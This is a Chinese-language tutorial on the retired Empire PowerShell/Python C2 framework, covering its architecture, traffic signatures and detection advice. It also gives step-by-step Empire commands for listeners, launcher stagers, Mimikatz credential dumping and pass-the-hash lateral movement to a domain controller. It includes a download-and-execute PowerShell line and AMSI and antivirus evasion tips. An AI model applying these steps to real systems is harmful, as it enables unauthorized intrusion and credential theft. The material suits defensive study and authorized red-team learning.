Empire渗透测试框架:无文件攻击与C2通信的经典实现与防御启示
1. 项目概述:一个已停止维护的渗透测试框架
如果你在网络安全领域,特别是渗透测试或红队行动中摸爬滚打过几年,那你大概率听说过Empire这个名字。它不是一个新工具,甚至在几年前就已经官宣停止维护了,但直到今天,在讨论内网渗透、横向移动、权限维持这些话题时,它依然是一个绕不开的经典案例。我最初接触 Empire 大概是在 2017 年左右,当时它的出现,确实给基于 PowerShell 的后期利用带来了革命性的变化。简单来说,Empire 是一个后期利用框架,它允许攻击者在成功初始入侵(比如通过钓鱼邮件拿到一个 shell)后,在内网中更隐蔽、更持久地活动。它的核心是提供了两个“代理”:一个是纯 PowerShell 2.0 编写的 Windows 代理,另一个是纯 Python 2.6/2.7 编写的 Linux/OS X 代理。这个项目是早期 PowerShell Empire 和 Python EmPyre 两个项目的合并体。
为什么一个已经停止更新的项目还值得拿出来说?原因在于它的设计思想和实现方式,深刻地影响了后来的一大批安全工具。它证明了完全基于内存、不落地的 PowerShell 攻击链是可行的,并且将模块化、加密通信、规避检测这些理念整合到了一个易用的框架中。学习 Empire,不仅仅是学习一个工具的使用,更是理解现代攻击者在内网中的行为模式和防御者应该关注的关键点。这篇文章,我会结合自己过去搭建、使用以及后来分析其架构的经验,为你拆解 Empire 的核心机制、典型用法,并重点分享那些在官方文档里不会写的“踩坑”实录和如今看来依然有价值的思考。
2. 核心架构与设计哲学解析
Empire 的成功,很大程度上源于其清晰且超前的架构设计。它不是一个简单的脚本集合,而是一个完整的C2框架。理解它的架构,是有效使用或防御它的前提。
2.1 客户端-服务端模型与模块化设计
Empire 采用典型的服务端-客户端模型。服务端运行在攻击者的机器上,负责管理监听器、生成攻击载荷、接收代理回连、下发任务。客户端就是植入到目标系统上的“代理”。这个代理非常轻量,其核心职责是与服务端保持加密通信,接收指令,执行对应的模块代码,并将结果返回。
它的模块化设计是其灵魂所在。所有功能,无论是信息收集、权限提升、横向移动还是数据渗出,都被封装成独立的模块。服务端有一个庞大的模块库,你可以像在 Metasploit 里搜索 exploit 一样,搜索你需要的模块。例如,想抓取目标机器的密码哈希,你可以使用credentials/mimikatz/logonpasswords模块;想进行内网探测,可以使用situational_awareness/network/powerview系列模块。这种设计使得框架的扩展性极强,社区可以不断贡献新的攻击手法。
注意:Empire 的模块分为“代理模块”和“插件模块”。代理模块是直接在已上线的代理上执行的,而插件模块则运行在服务端,用于辅助攻击,比如用于生成特定格式的钓鱼文档。新手最容易混淆的就是在错误的环境下使用了错误的模块。
2.2 无文件攻击与内存执行的实现
这是 Empire 早期最引人注目的特性之一,尤其是其 Windows 代理。它实现了“无需 powershell.exe”的 PowerShell 代理执行。传统的 PowerShell 攻击会启动一个powershell.exe进程,并传入包含攻击代码的脚本,这在日志和进程监控中非常显眼。
Empire 是如何做到的?它利用了 .NET 框架的System.Management.Automation命名空间。其代理本质上是一个用 C# 编译的小型加载器,这个加载器可以反射加载 PowerShell 的运行环境到当前进程的内存中,然后直接在其中执行 PowerShell 代码。这样一来,从系统层面看,可能只是一个普通的 .NET 程序在运行,而没有出现powershell.exe这个敏感进程。这种技术通常被称为“反射注入”或“无文件 PowerShell”。
在实际操作中,当你使用 Empire 生成一个 Windows 代理的载荷时,它通常是一个.bat或.exe文件。这个文件运行后,会在内存中解密并加载真正的 PowerShell 代理代码,与服务端建立连接。整个过程中,恶意代码始终在内存中,极大增加了检测难度。
2.3 通信加密与规避机制
一个成熟的 C2 框架,通信的隐蔽性是生命线。Empire 内置了多种通信协议和加密方式。默认情况下,它使用 HTTP/HTTPS 协议进行通信,但代理与服务端之间的所有流量都经过 AES 加密。你可以在创建监听器时选择不同的通信“开关”,比如设置请求的间隔时间、抖动、请求的 URI 路径、User-Agent 头等,以模拟正常的网络流量,绕过简单的网络层检测。
更高级的用法是使用“Dead Drop”解析器。这允许代理从一个预设的、看似无害的第三方网站(如 GitHub Gist、Pastebin 或一个合法的博客)获取下一步的指令,而服务端则将指令隐藏在这些网站的公开内容中。这种间接通信方式能有效避开直接 IP 封锁。
从防御角度看,识别 Empire 的通信特征需要关注异常的网络连接模式(如固定间隔的心跳)、不常见的 URI 路径(如/admin/get.php,/login/process.php)以及虽然加密但长度和时序固定的 HTTP 请求/响应包。
3. 典型使用流程与实操要点
虽然 Empire 已停止更新,但理解其工作流程对构建现代攻防知识体系至关重要。下面我以一个模拟的内网渗透场景,拆解其典型使用步骤。
3.1 环境搭建与初始化配置
首先需要搭建 Empire 的服务端。官方推荐在 Kali、Debian 或 Ubuntu 上运行。由于项目已归档,直接克隆源码后,依赖可能会出现问题。我的经验是,使用 Docker 镜像是最稳定、最省事的方式,它能提供一个隔离且依赖完整的环境。
# 拉取 Empire 的 Docker 镜像(这是社区维护的版本,非官方) docker pull empireproject/empire:latest # 运行容器,并将本地端口映射到容器的 Empire 服务端口 docker run -it -p 1337:1337 -p 5000:5000 empireproject/empire # 进入容器内的交互式 Empire 命令行 docker exec -it <container_id> /bin/bash # 然后启动 Empire ./empire启动后,你会进入 Empire 的命令行界面。第一步是设置一个监听器。监听器是代理回连的端点。
(Empire) > listeners (Empire: listeners) > uselistener http (Empire: listeners/http) > set Name MyListener (Empire: listeners/http) > set Host http://你的公网IP或域名:监听端口 (Empire: listeners/http) > set Port 80 (Empire: listeners/http) > execute这里有几个关键点:
- Host 字段:这是代理会尝试连接的地址。在内网测试时,可以是你的攻击机内网 IP;在真实环境或穿透测试中,需要是一个能访问到的公网 IP 或域名。
- Port 字段:需要与
docker run命令中映射的端口对应。上面例子中,我将容器的 1337 端口映射到了宿主机的 1337,那么这里Host的端口就应该是1337。 - 协议选择:
http是最简单的,但特征明显。在生产环境测试中,更倾向于使用https并配置有效的证书,或者使用redirector进行流量转发以隐藏真实 C2 服务器。
3.2 载荷生成与投递方式
监听器设置好后,下一步是生成一个代理载荷。Empire 提供了多种“攻击模块”来生成载荷,最常用的是usestager。
(Empire) > usestager multi/launcher (Empire: stager/multi/launcher) > set Listener MyListener (Empire: stager/multi/launcher) > generate执行generate后,会输出一段经过混淆和压缩的 PowerShell 命令。这段命令就是你的“一键上线”代码。传统的攻击方式是将这段代码复制,通过某种方式在目标机器上执行。例如:
- 鱼叉式钓鱼:将命令嵌入到 Office 宏或 PDF 漏洞中。
- 利用现有入口:通过已有的 WebShell 或系统漏洞,在目标机器上执行该命令。
- 横向移动:在已控制的内网机器上,通过 PsExec、WMI 或计划任务等方式,将该命令在另一台机器上运行。
实操心得:直接生成的
launcher命令非常长,且包含特殊字符,容易在复制粘贴或通过某些受限通道传输时出错。一个技巧是使用usestager windows/ducky生成适合通过 USB Rubber Ducky 等 HID 设备注入的代码,或者自己写一个简单的 Python 脚本,将载荷进行 Base64 编码后分块传输,在目标端再组合执行。
3.3 代理上线与基础交互
当目标执行了载荷后,如果网络可达,代理就会回连到你的监听器,并在 Empire 中显示为上线状态。
(Empire: agents) > list [*] Active agents: Name Lang Internal IP Machine Name Username Process ---- ---- ----------- ------------ -------- ------- T6V2SPS ps 192.168.1.105 WIN10-PC CORP\jdoe powershell/3220看到有代理上线后,使用interact T6V2SPS命令与该代理进行交互。这时,命令行提示符会变成(Empire: T6V2SPS),表示你正在对这个代理发号施令。
基础交互命令包括:
help:查看该代理下可用的命令。shell whoami:在代理所在机器上执行系统命令,返回结果。upload /path/to/file:上传文件到目标机器。download file.txt:从目标机器下载文件。sc:显示当前代理的详细信息和配置。sleep 5:修改代理的“心跳”间隔为 5 秒,更频繁的通信会增加暴露风险,更长的间隔则更隐蔽但响应慢。
3.4 模块使用与内网渗透示例
代理上线后,真正的渗透才开始。假设我们的目标是获取域控权限。
第一步:信息收集使用situational_awareness模块套件。这是 Empire 整合了 PowerView 的模块集合,用于 Active Directory 信息收集。
(Empire: T6V2SPS) > usemodule situational_awareness/network/powerview/get_user (Empire: powershell/situational_awareness/network/powerview/get_user) > set Filter adminCount=1 (Empire: powershell/situational_awareness/network/powerview/get_user) > execute这个命令会列出域内所有adminCount属性为 1 的用户,通常是特权账户。
第二步:凭证窃取尝试使用 Mimikatz 抓取当前机器的内存密码。
(Empire: T6V2SPS) > usemodule credentials/mimikatz/logonpasswords (Empire: powershell/credentials/mimikatz/logonpasswords) > execute如果当前进程权限足够,并且系统未打补丁或未启用足够的防护,Mimikatz 就能提取出明文密码或 NTLM 哈希。
第三步:横向移动假设我们抓取到了一个域管理员账户的哈希,我们可以使用“哈希传递”攻击横向移动到域控。
(Empire: T6V2SPS) > usemodule lateral_movement/invoke_wmi (Empire: powershell/lateral_movement/invoke_wmi) > set ComputerName DC01.CORP.LOCAL (Empire: powershell/lateral_movement/invoke_wmi) > set UserName CORP\Administrator (Empire: powershell/lateral_movement/invoke_wmi) > set Hash aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (Empire: powershell/lateral_movement/invoke_wmi) > set Listener MyListener (Empire: powershell/lateral_movement/invoke_wmi) > execute这个模块会尝试在目标计算机DC01上,使用提供的用户名和哈希,通过 WMI 执行命令,并部署一个新的 Empire 代理回连到我们的监听器。成功后,你会在agents列表里看到一台来自域控的新代理。
4. 深度技术细节与规避策略探讨
要真正用好或防好 Empire,必须深入其技术细节。这里分享几个关键点。
4.1 PowerShell 代理的混淆与绕过执行策略
Empire 生成的 PowerShell 载荷,其核心是一段经过多次编码和混淆的脚本。它通常会尝试绕过 PowerShell 的执行策略。常见的绕过方法包括:
-ExecutionPolicy Bypass:命令行参数绕过。-EncodedCommand:使用 Base64 编码命令。IEX (New-Object Net.WebClient).DownloadString():从远程下载并执行(无文件)。- 利用
.RegisterStartupScript等 COM 接口间接执行。
Empire 的launcher默认就采用了高度混淆。防御方不能只依赖简单的字符串匹配来检测,而需要监控 PowerShell 引擎的活动事件,例如通过 Sysmon 记录 Event ID 4104,分析脚本块日志,寻找混淆特征(如大量的字符串反转、替换、编码操作)。
4.2 模块的“内存”执行与 AMSI 绕过
Antimalware Scan Interface 是微软引入的一个反恶意软件扫描接口。当 PowerShell 脚本执行时,AMSI 可以将其内容发送给安全软件进行扫描。早期的 Empire 很容易被 AMSI 检测到。
因此,Empire 的许多模块都内置了 AMSI 绕过技术。这些技术五花八门,比如:
- 内存修补:直接修改
amsi.dll在内存中的函数,使其失效。 - 强制错误:通过传递一个巨大的缓冲区导致 AMSI 初始化失败。
- 混淆干扰:使用特殊的语法和字符,干扰 AMSI 的解析器。
在 Empire 的模块代码中,你经常能看到一大段以$s开头的、看起来像乱码的字符串,那就是经过编码的 AMSI 绕过代码。模块在执行主功能前,会先解码并执行这段代码来尝试禁用 AMSI。
注意事项:AMSI 绕过技术是猫鼠游戏。随着 Windows 和安全软件的更新,旧的绕过方法会失效。这也是为什么停止维护的 Empire 在现代高版本 Windows 上直接运行模块可能失败的原因。在实际测试中,可能需要手动集成或开发新的绕过技术。
4.3 通信流量分析与特征识别
尽管 Empire 支持加密和伪装,但其默认配置的流量仍然存在一些特征,可供防御方进行网络检测。
- HTTP 头特征:早期版本的 Empire 代理,其 HTTP 请求的 User-Agent 可能是固定的,如
Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)。虽然可以修改,但很多使用者会忽略。 - URI 路径特征:默认的监听器会使用像
/admin/get.php,/news.php这样的路径。这些路径在正常的 Web 访问中不常见。 - 心跳规律:代理会以固定的间隔(默认 5 或 60 秒)向服务端发送“心跳”请求。即使通信内容加密,这种规律性的、短小的 POST 请求模式也值得怀疑。
- 证书特征:如果使用自签名的 HTTPS 证书,证书的颁发者、有效期等信息会暴露异常。
高级的红队会通过修改源码、使用域名前置、配置与正常业务完全一致的 Web 服务作为重定向器等方式,来尽可能抹除这些特征。蓝队则需要结合端点日志(如 PowerShell 日志、进程创建日志)和网络流量分析进行关联判断。
5. 项目现状、替代方案与学习价值
5.1 为何停止维护与现存风险
Empire 项目在 2019 年左右正式宣布停止支持。主要原因有几个:一是核心维护者精力转移;二是 PowerShell 的安全特性在不断增强(如 Constrained Language Mode, AMSI 的强化),使得基于旧版本 PowerShell 的许多攻击技术失效;三是出现了更活跃、更现代的替代品。
对于攻击方(红队):直接使用原版 Empire 进行实战已非上策。其代码库已知,特征已被各大安全厂商充分研究并加入检测规则,成功率大大降低。更危险的是,互联网上存在大量被篡改的 Empire 版本,可能内置了后门,使用者在攻击别人的同时,自己的服务器可能已被他人控制。
对于防御方(蓝队):Empire 仍然是一个极佳的学习样本。通过搭建实验环境,分析其流量、模块行为、内存特征,可以极大地提升对内网攻击链的检测能力。许多现代攻击工具只是 Empire 思想的“换壳”或升级。
5.2 现代替代品简介
Empire 的精神在以下活跃项目中得到了延续和发展:
- Cobalt Strike:商业软件,是事实上的红队标准。它功能更强大,集成度更高,规避技术更先进,团队协作能力极强。Empire 可以看作是 Cobalt Strike 的一个开源简化版。
- Sliver:由 Bishop Fox 开发的开源 C2 框架。采用 Go 语言编写,跨平台支持好,生成载荷小,通信方式多样(HTTP, DNS, MTLS等),是目前最活跃的开源替代品之一。
- Covenant:.NET 编写的开源 C2 框架,界面友好,同样支持 HTTP、HTTPS、SMB 等多种通信方式,模块化程度高,社区活跃。
- Brute Ratel C4:另一个商业红队平台,以其强大的规避能力和“Badger”代理著称,价格不菲但备受高端红队推崇。
这些工具在通信加密、载荷生成、规避技术、团队协作等方面都比 Empire 更为先进和复杂。
5.3 从 Empire 中学到的核心攻防思想
抛开具体工具,Empire 项目给我们留下了宝贵的经验:
对于攻击者:
- 无文件化是趋势:尽可能减少在磁盘上的操作,利用内存执行和合法的系统管理工具。
- 加密与伪装是标配:C2 通信必须加密,并尽可能模仿正常业务流量。
- 模块化与可扩展性:将攻击链拆解为独立模块,便于组合、测试和更新。
- 持久化与低交互:代理应设计为低频率、长间隔通信,并具备多种持久化机制,以长期潜伏。
对于防御者:
- 假设已失陷:不要只关注边界防御,要建立内部威胁检测能力。
- 关注行为,而非特征:单一的进程、文件或网络包特征容易被绕过。要关注异常行为序列,例如:一个通常不运行 PowerShell 的服务器突然产生了大量的 PowerShell 网络连接;一个用户账户在非工作时间从非常用地点登录并执行敏感操作。
- 深度日志收集:启用并集中收集 PowerShell 脚本块日志、进程创建日志、网络连接日志等。Empire 的许多行为会在这些日志中留下痕迹。
- 最小权限原则:严格限制用户和管理员的权限,及时打补丁,能有效阻断哈希传递、WMI 滥用等横向移动手段。
6. 常见问题与排查技巧实录
在实际搭建和使用 Empire 进行实验的过程中,我遇到过无数问题。这里记录几个最具代表性的,希望能帮你节省时间。
6.1 环境搭建与依赖问题
问题:在非 Kali/Debian/Ubuntu 系统上源码安装失败,提示各种 Python 库缺失或版本冲突。解决:放弃源码安装,直接使用 Docker。这是最彻底的方法。如果一定要源码安装,请确保使用 Python 2.7 环境(Empire 基于 Python 2.7),并使用虚拟环境隔离。安装脚本setup/install.sh有时会因网络问题下载失败,需要手动调整 pip 源或离线安装依赖。
问题:Docker 运行后,无法从外部访问 Empire 的 Web 界面或监听器。解决:检查docker run的端口映射参数是否正确。Empire 的服务端默认监听 1337 端口(API)和 5000 端口(Web)。确保命令类似-p 1337:1337 -p 5000:5000。同时检查宿主机的防火墙是否放行了这些端口。
6.2 代理生成与上线失败
问题:生成的launcher在目标机器执行后,代理没有上线。排查步骤:
- 网络连通性:这是最常见的原因。确保目标机器能访问到你设置的
Host(监听器 IP:Port)。可以在目标机用Test-NetConnection <IP> -Port <Port>测试。 - 杀软拦截:现代 Windows Defender 就能轻易拦截 Empire 的默认载荷。需要在生成载荷时使用编码器或加密器进行混淆,或者使用
usestager windows/macro等更隐蔽的投递方式。在实验环境中,可以临时关闭实时防护。 - 执行策略与架构:确保 PowerShell 能够执行。如果是在 64 位系统上,注意 PowerShell 有 x86 和 x64 之分,有时需要指定版本。尝试使用更底层的执行方式,如
usestager windows/ducky生成的 VBS 脚本。 - 监听器配置:检查监听器的
Host字段是否包含正确的协议(http://或https://)。如果用了域名,确保域名解析正确。
6.3 模块执行无回显或报错
问题:代理已上线,但执行某些模块(特别是 Mimikatz)时,没有输出结果,或者返回错误。排查步骤:
- 权限不足:许多模块需要管理员或 SYSTEM 权限。使用
bypassuac或getsystem模块尝试提权后再执行。 - AMSI/杀软拦截:模块代码本身被拦截。尝试先运行
privesc/bypassuac或management/amsi_bypass等专门的绕过模块,再执行功能模块。 - 模块依赖缺失:有些模块依赖目标机器上特定的程序或 PowerShell 模块。例如,一些 AD 查询模块依赖
ActiveDirectoryPowerShell 模块,而该模块通常只在域成员服务器或安装了 RSAT 的机器上存在。 - 环境不兼容:Empire 的许多 PowerShell 模块是为 PowerShell 2.0-3.0 设计的,在高版本 PowerShell 或受限语言模式下可能无法运行。可以尝试使用
usemodule powershell/situational_awareness/host/get_proxy这类简单的模块测试基础功能是否正常。
6.4 通信不稳定与代理断开
问题:代理上线一段时间后突然断开,无法重连。排查步骤:
- 网络变化:目标机器切换了网络(如从有线切到 WiFi),IP 地址变化。
- 代理进程被结束:目标机器上的安全软件或管理员手动结束了代理进程。Empire 的默认代理是持久化的,但并非无法终止。可以考虑使用
persistence模块注册多种持久化机制。 - 监听器服务中断:你的 Empire 服务端崩溃或重启了。Docker 容器意外停止也会导致此问题。
- 心跳间隔设置过长:如果
sleep时间设置得非常长(如 1 小时),在这期间代理不会通信,在 Empire 界面里可能显示为“丢失”,但超过睡眠时间后可能会恢复。不要轻易删除“丢失”的代理,可以等待一个周期。
最后,我必须再次强调,Empire 是一个已经停止维护的历史项目。本文的所有讨论均基于网络安全研究、教学和授权测试的语境。在未经授权的系统上进行任何形式的测试都是非法且不道德的。它的价值在于其教育意义和作为分析样本的参考价值。理解它,是为了更好地防御当今那些继承了其思想、但更加隐蔽和强大的现代攻击工具。在安全领域,知彼知己,方能百战不殆。真正的安全建设,始于对攻击技术的深刻理解,并最终落实到扎实的防御实践中。
